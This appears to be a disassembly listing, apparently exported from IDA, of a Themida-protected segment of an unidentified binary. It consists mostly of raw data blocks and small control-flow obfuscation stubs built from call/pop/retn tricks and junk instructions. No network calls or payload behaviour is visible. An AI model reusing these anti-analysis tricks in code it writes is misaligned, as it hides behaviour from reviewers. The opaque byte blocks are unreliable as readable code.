		dd 0F000000h, 89h, 0D8B60F00h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 2CC35141h, 6BA144Dh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0EDBCC356h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 459CCDC3h, 43A03940h
		dd 30C6DA0h, 152959B5h,	4E8C106h, 23358589h, 0F7660615h
		dd 50006AE2h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0D1CA97D2h, 0FCECE0Dh, 0D82BFFB7h, 5E8h
		dd 9ADE8600h, 95895D95h, 6150E39h, 3A63BE5Eh, 52930108h
		dd 6D3EBE66h, 860F505Eh, 16h, 11E9h, 5893C700h,	263EEC81h
		dd 11191E1Ah, 6F3041EFh, 6A93FE79h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0E9DDC350h
		dd 0ADB5FFA7h, 0F061508h, 95FFF6BFh, 6152E21h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0AC35747h, 0DA45FE77h
		dd 290D86C1h, 152CB59Dh, 0BD68106h, 0B016E919h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0E6F98BC6h, 6071E470h, 11219D89h, 0C8800615h, 613C61ACh
		dd 1CB830Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0CD72A1C3h, 0B509C9BBh, 6150989h
		dd 921BD8Bh, 0B60F0615h, 0BA5F56D8h, 6,	88A0Fh,	33530000h
		dd 151945B5h, 0C38B5E06h, 0F1BD8B56h, 5E061509h, 6A04E8C1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0FCAAC357h, 0B589EB37h, 61510C9h,	2BE2F766h
		dd 53006AD8h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0CD304FACh, 67D6A0BFh, 0C681584Eh, 61F35229h
		dd 880FD82Bh, 11Dh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0E1C35343h, 7559F343h, 0BEF08B60h, 319359C2h
		dd 7B961h, 0BE660000h, 0C183F87Bh, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 836471F9h
		dd 0F781185Ch, 42F30AC6h, 0A6504DBEh, 0FD93B0Ah, 0B486h
		dd 0FEB70F00h, 0FD98C66h, 0D83h, 8D8B6000h, 61518D1h, 0AF968DB9h
		dd 85896140h, 6152CB5h,	0F04C1F6h, 6B84h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0EF32E06Ah, 3BB3CCD8h, 0FADF0ABEh
		dd 0A195FF54h, 33061518h, 151165B5h, 0C32B5B06h, 0D710E681h
		dd 343D7A49h, 0F000008h, 2386h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E9EF3B6Ah
		dd 21h,	6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8BCEA9C3h, 8BC38BF2h, 0BE8D8h, 0ED4B0000h
		dd 2EFC7306h, 36129DECh, 5FF08B7Fh, 116985C7h, 0CD950615h
		dd 6A1D25h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 909B1AC3h, 89E741DCh, 1503618Dh, 6AC08B06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 6660C357h, 0BD81F38Bh, 61508ADh, 7D0h, 35850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0C7B338C3h, 60A8B530h, 8D31B6B1h,	615040Dh
		dd 8AD85FFh, 81660615h,	0FF90E0DEh, 1508ADB5h, 11E806h
		dd 177A0000h, 0FCFD4895h, 0D4F35030h, 26690C39h, 5FDC6683h
		dd 8E8h, 0BB154300h, 0D2E9FB1h,	0B4CE81D5h, 5F46DDB1h
		dd 2E2195FFh, 0B5890615h, 6152725h, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 6DE0AB88h
		dd 7BAEE44Ch, 1721B58Bh, 0C7810615h, 45C7BABh, 0F28BF98Bh
		dd 2D09BD03h, 0B58B0615h, 6151341h, 8D016060h, 6152CF5h
		dd 66DEE281h, 0BA6612A5h, 0E96183C9h, 9, 1DD8D600h, 0E2309E55h
		dd 6A619Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0D38AF6C3h, 0F9B0FC5h, 1289h, 68B0F00h, 89000000h
		dd 1520B18Dh, 0DDBD8B06h, 0F061525h, 1F83h, 31B58B00h
		dd 0E906152Bh, 14h, 0DA938924h,	2B9A2CCFh, 88B99944h, 46BB64E9h
		dd 286687C8h, 8166F38Bh, 9B7AECFh, 152959B5h, 75BD8B06h
		dd 0E9061516h, 11h, 0E8813C2Eh,	6A2A8864h, 0B13023EBh
		dd 2ECB2266h, 5211BE81h, 0B5895C32h, 6153095h, 301DBD8Bh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 38A100C3h, 0E945F240h, 0FFFFF80Ah, 1D0DBD0Bh
		dd 0C18B0615h, 2B01B58Bh, 4EB0615h, 0
; ---------------------------------------------------------------------------
		xor	[ebp+615018Dh],	edi
		mov	di, dx
		lea	eax, [ebp+615279Dh]
		js	$+6
		push	eax
		mov	di, ax
		mov	[esp], eax
		xor	esi, [ebp+6150DC9h]
		push	0
		push	0
		push	edx
		call	sub_5BC32F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC32F	proc near		; CODE XREF: Themida_:005BC327p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5BC32F	endp

; ---------------------------------------------------------------------------
		db 97h
		dd 4870F0Bh, 66000000h,	6A7B05BFh, 0D8B0F00h, 50000000h
		dd 6E9h, 128A7F00h, 5F7B110Dh, 2A42858Dh, 6A0619h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 92A7B0C3h, 0F0633D7h, 83h, 5C08300h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 0C2C35141h, 489505Eh
		dd 3FBE6624h, 6A006A58h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0DA88C357h,	1C5D46B6h
		dd 8B0FA8CAh, 152DE9B5h, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0D707C357h
		dd 0E781214Eh, 349FFBF6h, 0D1B52951h, 5F061518h, 267995FFh
		dd 81660615h, 8DE2F7C6h, 189C159Dh, 3D952906h, 0FF061528h
		dd 53006AD3h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 4A0BEC1Ch, 0DE9h, 0FDDE7300h, 0A7A57FA2h
		dd 4492E231h, 57609F66h, 6DBB866h, 49BF665Eh, 85FF6199h
		dd 6151535h, 54409CBFh,	842E912h, 0E80000h, 5D000000h
		dd 2A4CED81h, 0BD810619h, 61508ADh, 7D0h, 185860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 91F17AC3h, 0BE88D21h, 65000000h, 557E651Fh, 0F1518871h
		dd 0BD8BD13Eh, 61502E5h, 9D9D8B5Fh, 6A061507h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0D64DC350h, 855A5683h, 33A4DD87h, 1508C1BDh,	0E38106h
		dd 0F000001h, 786h, 81665600h, 5F41C1DFh, 850FDB0Bh, 0A2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 5EC35646h
		dd 8F830589h, 0BB720FA6h, 0D5BD8B44h, 83061502h, 1928CDBDh
		dd 840F0006h, 1Ah, 15EDB58Bh, 8DE90615h, 0E8000000h, 7
		dd 0D7E63EACh, 8BD1A227h, 85C75EF7h, 61928CDh, 1, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D3C35141h, 41F79C57h
		dd 4DE924E8h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 80C7C357h, 85C7FB12h
		dd 61928CDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5BC5CB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC5CB	proc near		; CODE XREF: Themida_:005BC5C3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5BC5CB	endp

; ---------------------------------------------------------------------------
		db 0DEh
		dd 661C9FAFh, 0DBED681h, 79D9D8Dh, 0BF660615h, 23816AE2h
		dd 0FFFFFEFFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	5DC35747h, 0A25769CFh, 6630E161h, 8B66DB8Ch, 4C3F6FBh
		dd 49840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 8AC75DC3h, 1649984Ah, 66075869h
		dd 0FF0991BFh, 1518A195h, 0C9852906h, 50061506h, 48C0Fh
		dd 0BF660000h, 489F369h, 0F1BD8924h, 0E9061509h, 445h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3BC35343h
		dd 66986EE8h, 0B05045BEh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 7FF73ADDh
		dd 111FF1E0h, 2B158501h, 70E60615h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 46C35646h, 45EB740Ah, 459529E5h
		dd 8906150Dh, 1511E5BDh, 0F871E406h, 2BD8B60Fh,	1528D1BDh
		dd 6BA06h, 0A2BF0000h, 8B00A76Eh, 50006AC3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 91851442h
		dd 0F08BE4EDh, 8B04E8C1h, 150C11BDh, 0E2F76606h, 6AD82Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0F9B079C3h, 575793FAh, 5F5EF18Bh, 0BF525050h, 1C40D6FCh
		dd 5250310Fh, 8E8h, 9C759700h, 0B17EA9ADh, 310F5E44h, 0FE9h
		dd 54424D00h, 0A4EFCE7Ch, 0C210EA88h, 0F93DC087h, 585A585Ah
		dd 51006A93h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 698E36A3h, 0A38CC120h, 2E59BD01h, 0B70F0615h
		dd 0ADB5FFFFh, 6A061508h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FC4C351h, 10E8F8BFh
		dd 0E5000000h, 3B0884C3h, 835E7F35h, 6ADED69Eh,	66D89347h
		dd 779BD681h, 2195FF5Fh, 0F06152Eh, 0B0F3B7h, 6A70E6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 840AF6C3h, 66AD2131h, 0E919BBBFh, 9,	38527F19h, 5A81FE9Bh
		dd 6A71E4D6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 56BAC350h, 0BAEF8143h,	3C2EAA34h
		dd 4A830F61h, 8B000002h, 151D75BDh, 0D8B60F06h,	8F0Fh
		dd 6BA0000h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 5F02C350h, 84BD3BD0h
		dd 8859D89h, 0C38B0615h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0AAC35646h, 8D4A41C9h, 5597A3EAh, 61E0B060h
		dd 1185B58Bh, 0E8C10615h, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0EDA3087Ch
		dd 9501518Eh, 6151DB5h,	0E2F7665Eh, 6880Fh, 8D890000h
		dd 6150AE9h, 0F681D82Bh, 46C1F665h, 17ADBD8Bh, 6A580615h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 7534C353h, 0B64C171Bh, 0DCCE8166h, 11E86Bh
		dd 654C0000h, 574AB34Dh, 61E3B58Dh, 2514A290h, 5E6FA97Ch
		dd 880FD82Bh, 151h, 7B9F28Bh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 9881C355h
		dd 0C183C6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	4DC35141h, 0D93BF563h, 103860Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 83A079C3h, 0B5D14238h, 8C66F51Fh, 53006AD9h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 2DD9C992h
		dd 2A818529h, 0BE660615h, 0C1F6B398h, 0A2840F04h, 60000000h
		dd 179D8589h, 0BF0F0615h, 95FF61DFh, 61518A1h, 1541BD31h
		dd 8B5B0615h, 1506F5B5h, 13E906h, 0EC480000h, 7CE7DB37h
		dd 6A85BF93h, 66DB989Ch, 7CC6A624h, 6AC32BC0h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 9C4DC356h, 61C232C5h, 68B0F81h, 89000000h, 1504498Dh
		dd 59D8906h, 3D061517h,	834h, 2B860Fh, 0BF0F0000h, 2BE9F0h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8B1C60C3h, 1510A5B5h, 89C08B06h, 1533E995h
		dd 8BC38B06h, 0E585C7D8h, 11061515h, 81186B65h,	8E43D7D6h
		dd 0E8C08B16h, 9, 6166BE3Fh, 53F022BDh,	21B5293Ah, 5F061508h
		dd 8ADBD81h, 7D00615h, 850F0000h, 2Eh, 9A19D09h, 85FF0615h
		dd 61508ADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0B7C35646h, 0BE666BE4h,	0B5FFAAC7h, 61508ADh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 69C35242h, 618DCB97h
		dd 0F5DCE9Ah, 8Eh, 0E98D0900h, 0FF061517h, 152E2195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 7EECC100h, 8B90D51Eh, 153035BDh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0EECEEDE3h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 89C35343h
		dd 6A3C29BAh, 56B53E6Dh, 0CDBD8B74h, 29061524h,	1510D585h
		dd 12E95706h, 0A9000000h, 62259A8Eh, 3DDE33AFh,	99770B77h
		dd 7DF31FAh, 5EFE8BE9h,	1DADB58Bh, 8E90615h, 4B000000h
		dd 0A7D64958h, 6ACAD028h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0E964C350h,	5, 18F744Eh
		dd 6AFA8B2Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 870CC357h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0C7C35747h,	7F0F6997h, 10850Fh
		dd 0BE90000h, 0FC000000h, 9D773F93h, 5763F9BBh,	0BD8BB4ECh
		dd 61502CDh, 0FFF7EDE9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0C60CC030h, 2595018Ah
		dd 8106151Eh, 0ABCA0EDFh, 0FE8B6624h, 3A88BF60h, 0FEB925D3h
		dd 6AFFFFFFh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 2C1CC356h, 81674D51h, 888DD0E1h
		dd 13E9h, 21AC0B00h, 0A9AC5362h, 0E25C0D3Fh, 0ADF7E0Fh
		dd 0FCADC123h, 0AE9h, 47320800h, 0A7DCCEEBh, 21DD1C1Eh
		dd 1504E18Dh, 2820F06h,	0B7000000h, 8D8D21C8h, 0F061510h
		dd 148Dh, 0FE900h, 5CA60000h, 3C0F106Dh, 51D5F790h, 157C1134h
		dd 519D291Eh, 8B06152Ch, 1504E18Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 858B754Eh
		dd 6151911h, 0F01E183h,	685h, 0E59D8B00h, 8B061518h, 15108D8Dh
		dd 0BD8D8906h, 83061517h, 850F01E1h, 6,	3198D281h, 60617829h
		dd 1769BD8Bh, 0FEB90615h, 89FFFFFFh, 1510C98Dh,	158D2106h
		dd 6A061527h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0D413C351h, 0E0BD3F19h, 0D9318C0Fh
		dd 136DBD33h, 8D210615h
		dd 6151079h, 80C68B66h,	8D8B23F7h, 6152715h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 31C35545h, 0C739F192h
		dd 89FADEE6h, 152F5595h, 98BF6606h, 11E856h, 1B610000h
		dd 3309D6A3h, 8E637AF0h, 4685336Ch, 893821E2h, 152E5DBDh
		dd 0E1835806h, 24850F01h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EC53C353h
		dd 66B00790h, 8B0C38BBh, 1510798Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 874F59BDh
		dd 0D9A354C7h, 0E890FB7h, 60000000h, 2555B589h,	950B0615h
		dd 6152925h, 0E59D8B61h, 6006151Dh, 8215BE66h, 68B0Fh
		dd 9D2B0000h, 615301Dh,	1E18361h, 2A850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 5298FDC3h, 7DBB918Bh, 0B58B9E6Bh, 6150D8Dh, 6A6061h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0CB6827C3h, 0B9BAB0FCh, 0FFFFFFFEh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 64C35242h, 3D55524Ah, 8D21F0FCh
		dd 615079Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	52C35545h, 134E09Ch, 150CE585h,	698D2106h, 29061511h
		dd 1506D99Dh, 9D8D8B06h, 0B4061507h, 1E183C4h, 34850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 50D814C3h, 0FE8h
		db 0
; ---------------------------------------------------------------------------


loc_5BCFA1:				; DATA XREF: Themida_:0057B204o
		add	dh, ah
		mov	dl, 0C9h
		mov	ecx, 3ED73758h
		jg	short near ptr loc_5BCFCA+3
		mov	bl, 0FEh
		imul	esi, [eax-7274A1A1h], 6151169h
		xor	[ebp+61517D5h],	edi
		and	ecx, 1
		jnz	loc_5BCFF8
		push	0
		push	edx


loc_5BCFCA:				; CODE XREF: Themida_:005BCFAAj
		call	sub_5BCFD2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCFD2	proc near		; CODE XREF: Themida_:loc_5BCFCAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5BCFD2	endp

; ---------------------------------------------------------------------------
		dw 0B4DEh
; ---------------------------------------------------------------------------
		aaa
		adc	edi, [edx+172D9589h]
		adc	eax, 0E4A6BF06h
		sub	al, 19h
		mov	edi, [ebp+6152F0Dh]


loc_5BCFF8:				; CODE XREF: Themida_:005BCFC1j
		popa
		pusha
		push	0
		push	ebx
		call	sub_5BD005
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD005	proc near		; CODE XREF: Themida_:005BCFFDp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5BD005	endp

; ---------------------------------------------------------------------------
		jz	short loc_5BD031
		mov	[ebp+6150211h],	esi
		mov	ecx, 0FFFFFFFEh
		xor	esi, 10C58671h
		and	[ebp+61515E5h],	ecx
		push	0
		push	edx


loc_5BD031:				; CODE XREF: Themida_:005BD015j
		call	sub_5BD039
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD039	proc near		; CODE XREF: Themida_:loc_5BD031p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5BD039	endp

; ---------------------------------------------------------------------------
		db 40h,	3Dh, 79h
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_5BD058
; ---------------------------------------------------------------------------
		sbb	al, 5Eh
		sub	dh, 60h
		inc	edi


loc_5BD058:				; CODE XREF: Themida_:005BD04Dj
		and	[ebp+6152871h],	ecx
		push	0
		push	ebp
		call	sub_5BD069
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD069	proc near		; CODE XREF: Themida_:005BD061p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5BD069	endp

; ---------------------------------------------------------------------------
		db 56h,	94h, 9Bh
		dd 891AA09Ah, 1528F58Dh, 0E58D8B06h, 8B061515h,	1501A995h
		dd 1E18306h, 25850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 7DB97C3h, 0CDC0F715h
		dd 8BFDBB11h, 1528718Dh, 83D18B06h, 850F01E1h, 3, 61D3BF0Fh
		dd 53006A60h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0C1E96FA0h, 0F4809C3Bh, 0AD85C73Bh, 0D0061508h
		dd 6A000007h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0FC9C357h, 17BF15DFh, 8B17C280h
		dd 6A61C8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0E4ADB9C3h, 9D6107EBh, 0E9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 762D75FEh, 0BBB57C8h, 6A3B0Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0B9001DC3h, 0D5A73991h
		dd 25BE6641h, 60C18BC4h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0F8C35242h, 0BEDBD0BFh, 8BCCA76Ah, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 90490A8Dh, 83B5179Ah, 1508F5BDh, 9750006h, 3ADBD83h
		dd 74000615h, 8B535019h, 438B8C0h, 85890000h, 6151385h
		dd 0AA9E9D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h
		dd 438B853h, 85890000h,	6151385h, 0A78D9D8Dh, 0D3FF0617h
		dd 6A585Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0F4C767C3h, 89ADE4A1h, 152E99BDh,	259D0106h
		dd 8B06150Ch, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 85011F2Ah, 6152F9Dh, 1949BD8Bh, 5E80615h
		dd 89000009h, 15178595h, 45858906h, 6A06151Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0F5DC352h, 0BD8BF1B7h, 615346Dh, 8CFE8h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0B3403FBh, 5CD33392h, 5820F88h, 0B9000000h, 737F6F80h
		dd 89FFB70Fh, 152F5985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 8D89C822h, 61524CDh, 86FE8h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 17526C7Fh, 2E58D29h, 85890615h, 6152E0Dh
		dd 2A8DBD29h, 39E80615h, 29000008h, 151E6D95h, 95858906h
		dd 29061505h, 15249185h, 822E806h, 0CE90000h, 9A000000h
		dd 8C5858C4h, 0DAC3D308h, 8958F6DFh, 152D1985h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 1709120Eh, 7E6E8FCh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 344D4CC3h, 278B586Dh
		dd 10E985D6h, 0F2000000h, 0B30BA3BEh, 0EF6CCAC8h, 7A780AF2h
		dd 89A72B5Bh, 1510F185h, 0ED8D8906h, 0E8061500h, 79Ch
		dd 0C76AB953h, 895E11C6h, 1533ED85h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0A8587421h
		dd 0C1B9D08Dh, 0A3D781EBh, 0E85830F7h, 760h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0ABC35141h, 7BBE66B9h
		dd 118D8B34h, 89061508h, 1502B585h, 0BE806h, 1CC60000h
		dd 2B76CEE5h, 60DBE2F0h, 0F19D89AAh, 59061517h,	717E8h
		dd 0AE900h, 42B30000h, 0B4D4404Ah, 987D16E5h, 23E18589h
		dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 66500FC3h, 5EFCA7BEh, 6DBE8h, 13E900h, 0B2770000h
		dd 3B6BC8DAh, 2D33948Eh, 0D201E894h, 6AEB93C8h,	218589C2h
		dd 8B061529h, 1501A9BDh, 6B2E806h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 2939A7C3h
		dd 152A9985h, 39858906h, 6A061523h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 3733C350h
		dd 51640F48h, 8B1D9115h, 152B35BDh, 65AE806h, 0BD8B0000h
		dd 6151165h, 33758589h,	8D8B0615h, 6152565h, 643E8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 3E73082Ch, 0CB56F263h, 6650DAD2h, 895FF78Bh,	15000985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0BE740B3h, 0EE83387h, 95000000h,	840D57CAh
		dd 23973122h, 0C287A43Ch, 0FABF0F24h, 5D6E85Fh,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 3EFD42C3h, 0E960CCC5h, 7, 0EC4FB834h, 518C07CCh, 0B58B6159h
		dd 6150DC9h, 2CBD8589h,	0DE80615h, 67000000h, 48D63052h
		dd 8EB1E864h, 414DD3F2h, 27E9B533h, 0E85E0615h,	57Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 6DC35040h, 76EC99B1h
		dd 0F3B70F49h, 2A498589h, 830F0615h, 5,	9253A2BEh, 542E815h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 296EDBC3h, 0F5931228h, 8589D2B1h,	61533A9h
		dd 810FF560h, 5, 72C231BEh, 0B06178h, 0FCB8B66h, 0B58BD8B6h
		dd 61514F1h, 6BAh, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 27192C24h, 0A37C97C4h
		dd 18D0F41h, 0F5000000h, 8D89C38Bh, 6150E09h, 6A04E8C1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0DB06C350h, 710FFBC4h, 0E2F766F9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0F6C35242h, 0BC66E304h
		dd 11E948h, 0CBB30000h,	86BD9D59h, 2BB5C5F1h, 79305B69h
		dd 2B5F2549h, 83EF81D8h, 5052C304h, 6E95360h, 0F9000000h
		dd 22BB1079h, 1FB85BCEh, 617CF77Ah, 89241C89h, 15091D9Dh
		dd 0A195FF06h, 6A061518h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 2060C353h, 1D987E5Eh
		dd 0DE9h, 0E4B59400h, 5F116971h, 5192D1E9h, 0BD8B3DBBh
		dd 6151411h, 64602FB9h,	6A5B11h, 3E857h, 5F200000h, 7C895FC3h
